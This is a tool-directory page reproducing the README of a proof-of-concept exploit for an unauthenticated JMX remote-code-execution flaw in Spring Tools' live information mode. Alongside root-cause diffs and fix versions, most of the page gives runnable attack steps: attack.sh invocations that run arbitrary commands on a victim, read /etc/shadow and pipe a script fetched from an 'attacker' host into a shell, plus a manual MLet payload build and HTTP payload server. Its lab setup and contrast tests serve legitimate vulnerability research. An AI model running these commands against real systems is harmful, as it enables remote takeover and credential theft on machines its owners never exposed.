Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-47858 — Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications. | Kitploit
Tools/GitHubGitHub/realstatus/cve-2026-47858
Payload GenerationVulnerability AnalysisExploitationPenetration Testing
GitHubrealstatus/cve-2026-47858

CVE-2026-47858

Proof-of-concept exploit for unauthenticated JMX RCE in Spring Tools live information mode, using MLet remote class loading to execute arbitrary commands on vulnerable Spring Boot applications.

View Repository
171 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-47858 — Spring Tools "live information" mode unauthenticated JMX RCE (PoC)

中文 README | Advisory: Spring Security | CVE Record

Vulnerability: Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 start Spring Boot applications in live information mode (enabled by default) with JVM arguments that expose an unauthenticated, TLS-less, all-interfaces-bound remote JMX agent. An attacker on the adjacent network can connect to the JMX MBeanServer without credentials and achieve direct RCE (as root) via MLet remote class loading.

  • CWE-306 Missing Authentication for Critical Function
  • CVSS 3.1 8.0 HIGH — AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Fixed in: Spring Tools for Eclipse 5.3.0 / VSCode·Cursor·Theia 2.3.0 (all versions before 5 are also affected and unsupported)

Table of contents

  1. Root cause (source evidence)
  2. Quick reproduction (one-shot script)
  3. Exploit usage (flexible command)
  4. How it works: direct RCE, not a callback exploit
  5. Test matrix & evidence
  6. Fix & mitigation
  7. Repository layout
  8. Disclaimer

1. Root cause (source evidence)

Diff between affected tag 5.2.0.RELEASE (== v2.2.0) and fixed tag 5.3.0.RELEASE (== v2.3.0):

Vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:

"-Dcom.sun.management.jmxremote",                  // enable JMX
"-Dcom.sun.management.jmxremote.port=<free port>",
"-Dcom.sun.management.jmxremote.authenticate=false", // NO authentication!
"-Dcom.sun.management.jmxremote.ssl=false",          // NO TLS!
"-Djava.rmi.server.hostname=localhost",              // the only "barrier": stubs advertise localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*"      // all actuator endpoints via JMX
  • BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: enabled by default; every Boot app launch from the IDE gets these args.
  • VSCode extension 2.2.0 (vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) injects the same -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.

Fixed 5.3.0:

  • With a pinned port: adds -Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX binds to loopback only).
  • Default (port 0): no com.sun.management.jmxremote* args at all — JMX agent is started on-demand via the Attach API against the child PID (VSCode side likewise: debug-config-provider.ts removes the remote JMX args entirely).

Note: -Dcom.sun.management.jmxremote.port alone is enough to enable the JMX agent (the main com.sun.management.jmxremote switch is not required) — the VSCode variant is equally exploitable.


2. Quick usage (two separate scripts)

The scripts are fully decoupled: setup-lab.sh only builds the environment, attack.sh only performs the exploit. Requirements: docker, JDK 17+ (default /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (optional).

2.1 Step 1: environment setup (setup-lab.sh)

./setup-lab.sh vuln          # vulnerable config (5.2.0 args)   [default]
./setup-lab.sh fixed-pinned  # fixed 5.3.0 pinned-port config  (JMX on 127.0.0.1 only)
./setup-lab.sh fixed-auto    # fixed 5.3.0 default auto config (no remote JMX port)
./setup-lab.sh cleanup       # stop & remove container and network

It builds the victim Spring Boot app → creates an isolated docker bridge network (victim container 172.22.0.x, attacker on the host = adjacent network) → starts the app with the per-version JVM args → shows JMX listening sockets → prints the victim IP / JMX port / gateway. The victim keeps running so you can attack it next.

2.2 Step 2: exploit (attack.sh)

./attack.sh <victim-ip> 19090 "id; whoami; uname -a" 8000
# Custom command (default id; hostname; uname -a; no recompilation needed)
PAYLOAD_HOST=172.22.0.1 ./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000

It builds the evil jar → generates mlet.txt (command delivered via <ARG>) → serves the payloads over HTTP → runs the exploit. The payload only executes the command and echoes it back: the command runs synchronously via /bin/sh -c inside the victim JVM, its output is captured in memory, and the exploit pulls it back over the same JMX connection (Pwn.getOutput() / getExitCode()) and prints it on the attacker side. No files are written on the target — to also keep the output there, redirect inside the command (e.g. "id > /tmp/out.txt").

Contrast test: ./setup-lab.sh vuln → exploit succeeds; then ./setup-lab.sh cleanup && ./setup-lab.sh fixed-pinned → exploit must fail (JMX loopback only).


3. Exploit usage (flexible command)

3.1 One-shot attack.sh (recommended)

The command is fully configurable, and changing it requires no recompilation (the command is delivered through the MLET <ARG> tag; the jar is command-agnostic):

./attack.sh <target-ip> <jmx-port> "<command>" [http-port]

# Examples
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a"                 # basic recon
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000                 # read a file
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000   # pipes / reverse shell etc.
./attack.sh 192.168.1.20 19090 "id" 8000                            # arbitrary remote target

# Env vars
PAYLOAD_HOST=192.168.1.10 ./attack.sh ...   # IP of this host as seen by the victim (auto-detected by default)
JDK_DIR=/path/to/jdk ./attack.sh ...        # JDK location

Flow: builds evil.jar → XML-escapes the command and generates mlet.txt → serves evil.jar + mlet.txt over HTTP → compiles and runs JmxExploit. The payload only executes the command and echoes its output back; it writes nothing on the target.

3.2 Manual step-by-step

# 1) Build the payload jar
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .

# 2) Generate mlet.txt (replace <COMMAND> with yours; XML-escape & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<COMMAND>">
</MLET>
EOF

# 3) Serve the payloads
python3 -m http.server 8000 --bind 0.0.0.0   # from the exploit-server directory

# 4) Compile and run the exploit (JDK 17+ needs --add-opens to rewrite the RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
     --add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
     -cp classes JmxExploit <target-ip> <jmx-port> "http://<this-host-ip>:8000/mlet.txt"

# 5) Verify on your own (output goes to the victim app console/log, e.g. docker exec victim tail /app.log)

3.3 Payload & echo

Download Tool